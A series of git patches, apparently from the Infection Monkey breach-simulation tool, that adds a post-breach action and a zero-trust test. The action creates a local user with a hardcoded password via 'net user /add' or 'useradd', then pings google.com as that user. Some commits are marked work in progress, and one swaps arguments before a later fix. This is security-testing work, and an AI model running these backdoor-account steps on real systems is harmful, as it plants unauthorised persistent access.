"${local.resource_prefix}island-linux-250" machine_type = "n1-standard-2" tags = ["island", "linux", "ubuntu16"] source_instance_template = "${local.default_ubuntu}" @@ -439,7 +439,7 @@ resource "google_compute_instance_from_template" "island-linux-250" { } resource "google_compute_instance_from_template" "island-windows-251" { - name = "island-windows-251" + name = "${local.resource_prefix}island-windows-251" machine_type = "n1-standard-2" tags = ["island", "windows", "windowsserver2016"] source_instance_template = "${local.default_windows}" From 52a95935c873b8f367e05e69a1eb4c66b2546e13 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 3 Sep 2019 21:17:13 +0300 Subject: [PATCH 216/276] Added new user communication PBA and ZT test, not working yet WIP! --- monkey/common/data/post_breach_consts.py | 1 + monkey/common/data/zero_trust_consts.py | 18 +++- .../post_breach/actions/add_user.py | 40 +++++++- .../actions/communicate_as_new_user.py | 98 +++++++++++++++++++ monkey/infection_monkey/post_breach/pba.py | 3 +- .../post_breach/post_breach_handler.py | 3 +- .../cc/services/config_schema.py | 8 ++ .../telemetry/processing/post_breach.py | 17 +++- .../communicate_as_new_user.py | 35 +++++++ 9 files changed, 214 insertions(+), 9 deletions(-) create mode 100644 monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py create mode 100644 monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py diff --git a/monkey/common/data/post_breach_consts.py b/monkey/common/data/post_breach_consts.py index 8262757ca..dee4f67d0 100644 --- a/monkey/common/data/post_breach_consts.py +++ b/monkey/common/data/post_breach_consts.py @@ -1,2 +1,3 @@ +POST_BREACH_COMMUNICATE_AS_NEW_USER = "Communicate as new user" POST_BREACH_BACKDOOR_USER = "Backdoor user" POST_BREACH_FILE_EXECUTION = "File execution" diff --git a/monkey/common/data/zero_trust_consts.py b/monkey/common/data/zero_trust_consts.py index 3cf9cda92..9a452d706 100644 --- a/monkey/common/data/zero_trust_consts.py +++ b/monkey/common/data/zero_trust_consts.py @@ -30,6 +30,7 @@ TEST_SCHEDULED_EXECUTION = u"scheduled_execution" TEST_MALICIOUS_ACTIVITY_TIMELINE = u"malicious_activity_timeline" TEST_SEGMENTATION = u"segmentation" TEST_TUNNELING = u"tunneling" +TEST_COMMUNICATE_AS_NEW_USER = u"communicate_as_new_user" TESTS = ( TEST_SEGMENTATION, TEST_MALICIOUS_ACTIVITY_TIMELINE, @@ -38,7 +39,8 @@ TESTS = ( TEST_MACHINE_EXPLOITED, TEST_DATA_ENDPOINT_HTTP, TEST_DATA_ENDPOINT_ELASTIC, - TEST_TUNNELING + TEST_TUNNELING, + TEST_COMMUNICATE_AS_NEW_USER ) RECOMMENDATION_DATA_TRANSIT = u"data_transit" @@ -47,13 +49,15 @@ RECOMMENDATION_USER_BEHAVIOUR = u"user_behaviour" RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic" RECOMMENDATION_SEGMENTATION = u"segmentation" RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES = u"network_policies" +RECOMMENDATION_USERS_MAC_POLICIES = u"users_mac_policies" RECOMMENDATIONS = { RECOMMENDATION_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.", RECOMMENDATION_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.", RECOMMENDATION_USER_BEHAVIOUR: u"Adopt security user behavior analytics.", RECOMMENDATION_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.", RECOMMENDATION_DATA_TRANSIT: u"Secure data at transit by encrypting it.", - RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible." + RECOMMENDATION_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.", + RECOMMENDATION_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC only.", } POSSIBLE_STATUSES_KEY = u"possible_statuses" @@ -140,6 +144,16 @@ TESTS_MAP = { PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS], POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED] }, + TEST_COMMUNICATE_AS_NEW_USER: { + TEST_EXPLANATION_KEY: u"The Monkey tried create a new user and communicate with the internet from it.", + FINDING_EXPLANATION_BY_STATUS_KEY: { + STATUS_FAILED: "Monkey was able to cause a new user to access the network. Your network policies are too permissive - restrict them to MAC only.", + STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network." + }, + RECOMMENDATION_KEY: RECOMMENDATION_USERS_MAC_POLICIES, + PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS], + POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED] + }, } EVENT_TYPE_ISLAND = "island" diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index ce05371a6..b217196d3 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -17,6 +17,40 @@ WINDOWS_COMMANDS = ['net', 'user', WormConfiguration.user_to_add, class BackdoorUser(PBA): def __init__(self): - super(BackdoorUser, self).__init__(POST_BREACH_BACKDOOR_USER, - linux_cmd=' '.join(LINUX_COMMANDS), - windows_cmd=WINDOWS_COMMANDS) + linux_cmds, windows_cmds = BackdoorUser.get_commands_to_add_user( + WormConfiguration.user_to_add, WormConfiguration.remote_user_pass) + super(BackdoorUser, self).__init__( + POST_BREACH_BACKDOOR_USER, + linux_cmd=' '.join(linux_cmds), + windows_cmd=windows_cmds) + + @staticmethod + def get_commands_to_add_user(username, password): + linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) + windows_cmds = BackdoorUser.get_windows_commands_to_add_user(password, username) + return linux_cmds, windows_cmds + + @staticmethod + def get_linux_commands_to_add_user(username): + linux_cmds = [ + 'useradd', + '-M', + '--expiredate', + datetime.datetime.today().strftime('%Y-%m-%d'), + '--inactive', + '0', + '-c', + 'MONKEY_USER', + username] + return linux_cmds + + @staticmethod + def get_windows_commands_to_add_user(password, username): + windows_cmds = [ + 'net', + 'user', + username, + password, + '/add', + '/ACTIVE:NO'] + return windows_cmds diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py new file mode 100644 index 000000000..63daa614c --- /dev/null +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -0,0 +1,98 @@ +import os +import random +import string +import subprocess + +import win32api +import win32con +import win32process +import win32security + +from common.data.post_breach_consts import POST_BREACH_COMMUNICATE_AS_NEW_USER +from infection_monkey.post_breach.actions.add_user import BackdoorUser +from infection_monkey.post_breach.pba import PBA +from infection_monkey.telemetry.post_breach_telem import PostBreachTelem +from infection_monkey.utils import is_windows_os + +USERNAME = "somenewuser" +PASSWORD = "N3WPa55W0rD!@12" + + +class CommunicateAsNewUser(PBA): + """ + This PBA creates a new user, and then pings google as that user. This is used for a Zero Trust test of the People + pillar. See the relevant telemetry processing to see what findings are created. + """ + + def __init__(self): + super(CommunicateAsNewUser, self).__init__(name=POST_BREACH_COMMUNICATE_AS_NEW_USER) + + def run(self): + username = USERNAME + ''.join(random.choice(string.ascii_lowercase) for _ in range(5)) + if is_windows_os(): + if not self.try_to_create_user_windows(username, PASSWORD): + return # no point to continue if failed creating the user. + + # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera + new_user_logon_token_handle = win32security.LogonUser( + username, + ".", # current domain + PASSWORD, + win32con.LOGON32_LOGON_BATCH, # logon type + win32con.LOGON32_PROVIDER_DEFAULT) # logon provider + + if new_user_logon_token_handle == 0: + PostBreachTelem( + self, + ("Can't logon as {} Last error: {}".format(username, win32api.GetLastError()), False) + ).send() + return # no point to continue if can't log on. + + # Using os.path is OK, as this is on windows for sure + ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe") + if not os.path.exists(ping_app_path): + PostBreachTelem(self, ("{} not found".format(ping_app_path), False)).send() + return # Can't continue without ping. + + # Open process as that user: + # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera + return_value_create_process = win32process.CreateProcessAsUser( + new_user_logon_token_handle, # A handle to the primary token that represents a user. + # If both lpApplicationName and lpCommandLine are non-NULL, *lpApplicationName specifies the module + # to execute, and *lpCommandLine specifies the command line. + ping_app_path, # The name of the module to be executed. + "google.com", # The command line to be executed. + None, # Process attributes + None, # Thread attributes + True, # Should inherit handles + win32con.NORMAL_PRIORITY_CLASS, # The priority class and the creation of the process. + None, # An environment block for the new process. If this parameter is NULL, the new process + # uses the environment of the calling process. + None, # CWD. If this parameter is NULL, the new process will have the same current drive and + # directory as the calling process. + win32process.STARTUPINFO() # STARTUPINFO structure. + # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa + ) + + if return_value_create_process == 0: + PostBreachTelem(self, ( + "Failed to open process as user. Last error: {}".format(win32api.GetLastError()), False)).send() + return + else: + try: + linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) + linux_cmds.extend([";", "sudo", "-", username, "-c", "'ping -c 2 google.com'"]) + subprocess.check_output(linux_cmds, stderr=subprocess.STDOUT, shell=True) + except subprocess.CalledProcessError as e: + PostBreachTelem(self, (e.output, False)).send() + return + + def try_to_create_user_windows(self, username, password): + try: + windows_cmds = BackdoorUser.get_windows_commands_to_add_user(username, password) + subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True) + return True + except subprocess.CalledProcessError as e: + PostBreachTelem(self, ( + "Couldn't create the user '{}'. Error output is: '{}'".format(username, e.output), False)).send() + return False diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py index 3fb8b251f..6c6c6b8b5 100644 --- a/monkey/infection_monkey/post_breach/pba.py +++ b/monkey/infection_monkey/post_breach/pba.py @@ -19,7 +19,8 @@ class PBA(object): def __init__(self, name="unknown", linux_cmd="", windows_cmd=""): """ :param name: Name of post breach action. - :param command: Command that will be executed on breached machine + :param linux_cmd: Command that will be executed on breached machine + :param windows_cmd: Command that will be executed on breached machine """ self.command = PBA.choose_command(linux_cmd, windows_cmd) self.name = name diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 8522f412f..7c5bea27d 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -25,8 +25,9 @@ class PostBreach(object): Executes all post breach actions. """ for pba in self.pba_list: + LOG.debug("Executing PBA: '{}'".format(pba.name)) pba.run() - LOG.info("Post breach actions executed") + LOG.info("All PBAs executed. Total {} executed.".format(len(self.pba_list))) @staticmethod def config_to_pba_list(): diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index 3a7398663..67b5b519d 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -119,6 +119,14 @@ SCHEMA = { "title": "Back door user", "attack_techniques": [] }, + { + "type": "string", + "enum": [ + "CommunicateAsNewUser" + ], + "title": "Communicate as new user", + "attack_techniques": [] + }, ], }, "finger_classes": { diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py index 2515c2d30..c67f64f59 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py @@ -1,7 +1,18 @@ from monkey_island.cc.database import mongo from common.data.post_breach_consts import * +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.telemetry.zero_trust_tests.communicate_as_new_user import test_new_user_communication + + +def process_communicate_as_new_user_telemetry(telemetry_json): + current_monkey = Monkey.get_single_monkey_by_guid(telemetry_json['monkey_guid']) + success = telemetry_json['data']['result'][1] + message = telemetry_json['data']['result'][0] + test_new_user_communication(current_monkey, success, message) + POST_BREACH_TELEMETRY_PROCESSING_FUNCS = { + POST_BREACH_COMMUNICATE_AS_NEW_USER: process_communicate_as_new_user_telemetry, # `lambda *args, **kwargs: None` is a no-op. POST_BREACH_BACKDOOR_USER: lambda *args, **kwargs: None, POST_BREACH_FILE_EXECUTION: lambda *args, **kwargs: None, @@ -13,5 +24,7 @@ def process_post_breach_telemetry(telemetry_json): {'guid': telemetry_json['monkey_guid']}, {'$push': {'pba_results': telemetry_json['data']}}) - if telemetry_json["name"] in POST_BREACH_TELEMETRY_PROCESSING_FUNCS: - POST_BREACH_TELEMETRY_PROCESSING_FUNCS[telemetry_json["name"]](telemetry_json) + post_breach_action_name = telemetry_json["data"]["name"] + if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS: + POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json) + diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py new file mode 100644 index 000000000..564ce4d20 --- /dev/null +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/communicate_as_new_user.py @@ -0,0 +1,35 @@ +from common.data.zero_trust_consts import EVENT_TYPE_MONKEY_NETWORK, STATUS_FAILED, TEST_COMMUNICATE_AS_NEW_USER, \ + STATUS_PASSED +from monkey_island.cc.models.zero_trust.aggregate_finding import AggregateFinding +from monkey_island.cc.models.zero_trust.event import Event + + +def test_new_user_communication(current_monkey, success, message): + tried_to_communicate_event = Event.create_event( + title="Communicate as new user", + message="Monkey on {} tried to create a new user and communicate from it.".format(current_monkey.hostname), + event_type=EVENT_TYPE_MONKEY_NETWORK) + events = [tried_to_communicate_event] + + if success: + events.append( + Event.create_event( + title="Communicate as new user", + message="New user created by Monkey on {} successfully tried to communicate with the internet. " + "Details: {}".format(current_monkey.hostname, message), + event_type=EVENT_TYPE_MONKEY_NETWORK) + ) + test_status = STATUS_FAILED + else: + events.append( + Event.create_event( + title="Communicate as new user", + message="Monkey on {} couldn't communicate as new user. Details: {}".format( + current_monkey.hostname, message), + event_type=EVENT_TYPE_MONKEY_NETWORK) + ) + test_status = STATUS_PASSED + + AggregateFinding.create_or_add_to_existing( + test=TEST_COMMUNICATE_AS_NEW_USER, status=test_status, events=events + ) From 1befe35d34132ca83e9bd2759cee25e2b3231645 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 3 Sep 2019 21:42:48 +0300 Subject: [PATCH 217/276] Added some logs, and more error handling for winapis. Still not working --- .../post_breach/actions/add_user.py | 9 ++- .../actions/communicate_as_new_user.py | 74 ++++++++++--------- 2 files changed, 44 insertions(+), 39 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/add_user.py b/monkey/infection_monkey/post_breach/actions/add_user.py index b217196d3..9354ca417 100644 --- a/monkey/infection_monkey/post_breach/actions/add_user.py +++ b/monkey/infection_monkey/post_breach/actions/add_user.py @@ -27,7 +27,7 @@ class BackdoorUser(PBA): @staticmethod def get_commands_to_add_user(username, password): linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) - windows_cmds = BackdoorUser.get_windows_commands_to_add_user(password, username) + windows_cmds = BackdoorUser.get_windows_commands_to_add_user(username, password) return linux_cmds, windows_cmds @staticmethod @@ -45,12 +45,13 @@ class BackdoorUser(PBA): return linux_cmds @staticmethod - def get_windows_commands_to_add_user(password, username): + def get_windows_commands_to_add_user(username, password, should_be_active=False): windows_cmds = [ 'net', 'user', username, password, - '/add', - '/ACTIVE:NO'] + '/add'] + if not should_be_active: + windows_cmds.append('/ACTIVE:NO') return windows_cmds diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 63daa614c..ba1620180 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -1,3 +1,4 @@ +import logging import os import random import string @@ -15,7 +16,9 @@ from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils import is_windows_os USERNAME = "somenewuser" -PASSWORD = "N3WPa55W0rD!@12" +PASSWORD = "N3WPa55W0rD!1" + +logger = logging.getLogger(__name__) class CommunicateAsNewUser(PBA): @@ -33,50 +36,50 @@ class CommunicateAsNewUser(PBA): if not self.try_to_create_user_windows(username, PASSWORD): return # no point to continue if failed creating the user. - # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera - new_user_logon_token_handle = win32security.LogonUser( - username, - ".", # current domain - PASSWORD, - win32con.LOGON32_LOGON_BATCH, # logon type - win32con.LOGON32_PROVIDER_DEFAULT) # logon provider - - if new_user_logon_token_handle == 0: + try: + # Logon as new user: https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-logonusera + new_user_logon_token_handle = win32security.LogonUser( + username, + ".", # use current domain + PASSWORD, + win32con.LOGON32_LOGON_INTERACTIVE, # logon type - interactive (normal user) + win32con.LOGON32_PROVIDER_DEFAULT) # logon provider + except Exception as e: PostBreachTelem( self, - ("Can't logon as {} Last error: {}".format(username, win32api.GetLastError()), False) + ("Can't logon as {}. Error: {}".format(username, e.message), False) ).send() return # no point to continue if can't log on. # Using os.path is OK, as this is on windows for sure ping_app_path = os.path.join(os.environ["WINDIR"], "system32", "PING.exe") if not os.path.exists(ping_app_path): - PostBreachTelem(self, ("{} not found".format(ping_app_path), False)).send() + PostBreachTelem(self, ("{} not found.".format(ping_app_path), False)).send() return # Can't continue without ping. - # Open process as that user: - # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera - return_value_create_process = win32process.CreateProcessAsUser( - new_user_logon_token_handle, # A handle to the primary token that represents a user. - # If both lpApplicationName and lpCommandLine are non-NULL, *lpApplicationName specifies the module - # to execute, and *lpCommandLine specifies the command line. - ping_app_path, # The name of the module to be executed. - "google.com", # The command line to be executed. - None, # Process attributes - None, # Thread attributes - True, # Should inherit handles - win32con.NORMAL_PRIORITY_CLASS, # The priority class and the creation of the process. - None, # An environment block for the new process. If this parameter is NULL, the new process - # uses the environment of the calling process. - None, # CWD. If this parameter is NULL, the new process will have the same current drive and - # directory as the calling process. - win32process.STARTUPINFO() # STARTUPINFO structure. - # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa - ) - - if return_value_create_process == 0: + try: + # Open process as that user: + # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera + return_value_create_process = win32process.CreateProcessAsUser( + new_user_logon_token_handle, # A handle to the primary token that represents a user. + # If both lpApplicationName and lpCommandLine are non-NULL, *lpApplicationName specifies the module + # to execute, and *lpCommandLine specifies the command line. + ping_app_path, # The name of the module to be executed. + "google.com", # The command line to be executed. + None, # Process attributes + None, # Thread attributes + True, # Should inherit handles + win32con.NORMAL_PRIORITY_CLASS, # The priority class and the creation of the process. + None, # An environment block for the new process. If this parameter is NULL, the new process + # uses the environment of the calling process. + None, # CWD. If this parameter is NULL, the new process will have the same current drive and + # directory as the calling process. + win32process.STARTUPINFO() # STARTUPINFO structure. + # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa + ) + except Exception as e: PostBreachTelem(self, ( - "Failed to open process as user. Last error: {}".format(win32api.GetLastError()), False)).send() + "Failed to open process as user {}. Error: {}".format(username, e.message), False)).send() return else: try: @@ -89,7 +92,8 @@ class CommunicateAsNewUser(PBA): def try_to_create_user_windows(self, username, password): try: - windows_cmds = BackdoorUser.get_windows_commands_to_add_user(username, password) + windows_cmds = BackdoorUser.get_windows_commands_to_add_user(username, password, True) + logger.debug("Trying these commands: {}".format(str(windows_cmds))) subprocess.check_output(windows_cmds, stderr=subprocess.STDOUT, shell=True) return True except subprocess.CalledProcessError as e: From c371bf8ac53f95e95ecc7cf5763a5546d1be1dee Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 3 Sep 2019 21:52:30 +0300 Subject: [PATCH 218/276] Added 1314 error TODO --- .../post_breach/actions/communicate_as_new_user.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index ba1620180..578886d02 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -78,8 +78,11 @@ class CommunicateAsNewUser(PBA): # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa ) except Exception as e: + # TODO: if failed on 1314, try to add elevate the rights of the current user with the "Replace a + # process level token" right, using Local Security Policy editing (need to find how to do this using + # python... PostBreachTelem(self, ( - "Failed to open process as user {}. Error: {}".format(username, e.message), False)).send() + "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send() return else: try: From 3469ec6996477976cdce9f5e67e20c8601d04161 Mon Sep 17 00:00:00 2001 From: Shay Nehmad Date: Tue, 3 Sep 2019 22:35:18 +0300 Subject: [PATCH 219/276] Still need to test linux --- .../actions/communicate_as_new_user.py | 32 ++++++++++++------- .../post_breach/post_breach_handler.py | 2 ++ 2 files changed, 23 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py index 578886d02..6eaf73db5 100644 --- a/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py +++ b/monkey/infection_monkey/post_breach/actions/communicate_as_new_user.py @@ -4,7 +4,6 @@ import random import string import subprocess -import win32api import win32con import win32process import win32security @@ -15,6 +14,9 @@ from infection_monkey.post_breach.pba import PBA from infection_monkey.telemetry.post_breach_telem import PostBreachTelem from infection_monkey.utils import is_windows_os +CREATED_PROCESS_AS_USER_WINDOWS_FORMAT = "Created process '{}' as user '{}'." +CREATED_PROCESS_AS_USER_LINUX_FORMAT = "Created process '{}' as user '{}'. Some of the output was '{}'." + USERNAME = "somenewuser" PASSWORD = "N3WPa55W0rD!1" @@ -60,12 +62,11 @@ class CommunicateAsNewUser(PBA): try: # Open process as that user: # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessasusera - return_value_create_process = win32process.CreateProcessAsUser( + commandline = "{} {}".format(ping_app_path, "google.com") + _ = win32process.CreateProcessAsUser( new_user_logon_token_handle, # A handle to the primary token that represents a user. - # If both lpApplicationName and lpCommandLine are non-NULL, *lpApplicationName specifies the module - # to execute, and *lpCommandLine specifies the command line. - ping_app_path, # The name of the module to be executed. - "google.com", # The command line to be executed. + None, # The name of the module to be executed. + commandline, # The command line to be executed. None, # Process attributes None, # Thread attributes True, # Should inherit handles @@ -77,18 +78,27 @@ class CommunicateAsNewUser(PBA): win32process.STARTUPINFO() # STARTUPINFO structure. # https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-startupinfoa ) + + PostBreachTelem(self, ( + CREATED_PROCESS_AS_USER_WINDOWS_FORMAT.format(commandline, username), True)).send() + return except Exception as e: - # TODO: if failed on 1314, try to add elevate the rights of the current user with the "Replace a - # process level token" right, using Local Security Policy editing (need to find how to do this using - # python... + # TODO: if failed on 1314, we can try to add elevate the rights of the current user with the "Replace a + # process level token" right, using Local Security Policy editing. Worked, but only after reboot. So: + # 1. need to decide if worth it, and then + # 2. need to find how to do this using python... PostBreachTelem(self, ( "Failed to open process as user {}. Error: {}".format(username, str(e)), False)).send() return else: try: linux_cmds = BackdoorUser.get_linux_commands_to_add_user(username) - linux_cmds.extend([";", "sudo", "-", username, "-c", "'ping -c 2 google.com'"]) - subprocess.check_output(linux_cmds, stderr=subprocess.STDOUT, shell=True) + commandline = "'ping -c 2 google.com'" + linux_cmds.extend([";", "sudo", "-", username, "-c", commandline]) + output = subprocess.check_output(linux_cmds, stderr=subprocess.STDOUT, shell=True) + PostBreachTelem(self, ( + CREATED_PROCESS_AS_USER_LINUX_FORMAT.format(commandline, username, output[:50]), True)).send() + return except subprocess.CalledProcessError as e: PostBreachTelem(self, (e.output, False)).send() return diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py index 7c5bea27d..034e1c451 100644 --- a/monkey/infection_monkey/post_breach/post_breach_handler.py +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -46,7 +46,9 @@ class PostBreach(object): if ((m[1].__module__ == module.__name__) and issubclass(m[1], PBA))] # Get post breach action object from class for pba_class in pba_classes: + LOG.debug("Checking if should run PBA {}".format(pba_class.__name__)) if pba_class.should_run(pba_class.__name__): pba = pba_class() pba_list.append(pba) + LOG.debug("Added PBA {} to PBA list".format(pba_class.__name__)) return pba_list From 4f67eea2a18016ebb2d51027139855adafb1ced1 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 4 Sep 2019 10:19:36 +0300 Subject: [PATCH 220/276] Improved monkeyzoo docs, updated config, fixed prefix bugs --- envs/monkey_zoo/docs/fullDocs.md | 42 ++++++++++++------- envs/monkey_zoo/terraform/config.tf | 2 +- envs/monkey_zoo/terraform/monkey_zoo.tf | 56 ++++++++++++------------- envs/monkey_zoo/terraform/templates.tf | 6 +-- 4 files changed, 58 insertions(+), 48 deletions(-) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 4f795af45..a8c0687fc 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -58,7 +58,7 @@ Requirements: To deploy: 1. Configure service account for your project: - a. Create a service account and name it “your\_name-monkeyZoo-user” + a. Create a service account (GCP website -> IAM -> service accounts) and name it “your\_name-monkeyZoo-user” b. Give these permissions to your service account: @@ -74,7 +74,7 @@ To deploy: **Project -> Owner** - c. Download its **Service account key**. Select JSON format. + c. Download its **Service account key** in JSON and place it in **/gcp_keys** as **gcp_key.json**. 2. Get these permissions in monkeyZoo project for your service account (ask monkey developers to add them): a. **Compute Engine -\> Compute image user** @@ -82,20 +82,30 @@ To deploy: ../monkey/envs/monkey\_zoo/terraform/config.tf file (don’t forget to link to your service account key file): - > provider "google" { - > - > project = "project-28054666" - > - > region = "europe-west3" - > - > zone = "europe-west3-b" - > - > credentials = "${file("project-92050661-9dae6c5a02fc.json")}" - > - > } - > - > service\_account\_email="test@project-925243.iam.gserviceaccount.com" - + provider "google" { + + project = "test-000000" // Change to your project id + + region = "europe-west3" // Change to your desired region or leave default + + zone = "europe-west3-b" // Change to your desired zone or leave default + + credentials = "${file("../gcp_keys/gcp_key.json")}" // Change to the location and name of the service key. + // If you followed instruction above leave it as is + + } + + locals { + + resource_prefix = "" // All of the resources will have this prefix. + // Only change if you want to have multiple zoo's in the same project + + service_account_email="tester-monkeyZoo-user@testproject-000000.iam.gserviceaccount.com" // Service account email + + monkeyzoo_project="guardicore-22050661" // Project where monkeyzoo images are kept. Leave as is. + + } + 4. Run terraform init To deploy the network run:
    diff --git a/envs/monkey_zoo/terraform/config.tf b/envs/monkey_zoo/terraform/config.tf index 4f9106aae..3a2bf0fc4 100644 --- a/envs/monkey_zoo/terraform/config.tf +++ b/envs/monkey_zoo/terraform/config.tf @@ -2,7 +2,7 @@ provider "google" { project = "test-000000" region = "europe-west3" zone = "europe-west3-b" - credentials = "${file("testproject-000000-0c0b000b00c0.json")}" + credentials = "${file("../gcp_keys/gcp_key.json")}" } locals { resource_prefix = "" diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index 40792672c..cf45d93e0 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -48,7 +48,7 @@ resource "google_compute_instance_from_template" "hadoop-2" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.2" } // Add required ssh keys for hadoop service and restart it @@ -65,7 +65,7 @@ resource "google_compute_instance_from_template" "hadoop-3" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.3" } } @@ -80,7 +80,7 @@ resource "google_compute_instance_from_template" "elastic-4" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.4" } } @@ -95,7 +95,7 @@ resource "google_compute_instance_from_template" "elastic-5" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.5" } } @@ -110,7 +110,7 @@ resource "google_compute_instance_from_template" "sambacry-6" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.6" } } @@ -127,7 +127,7 @@ resource "google_compute_instance_from_template" "sambacry-7" { } } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.7" } } @@ -143,7 +143,7 @@ resource "google_compute_instance_from_template" "shellshock-8" { auto_delete = true } network_interface { - subnetwork="monkeyzoo-main" + subnetwork="${local.resource_prefix}monkeyzoo-main" network_ip="10.2.2.8" } } @@ -158,11 +158,11 @@ resource "google_compute_instance_from_template" "tunneling-9" { auto_delete = true } network_interface{ - subnetwork="tunneling-main" + 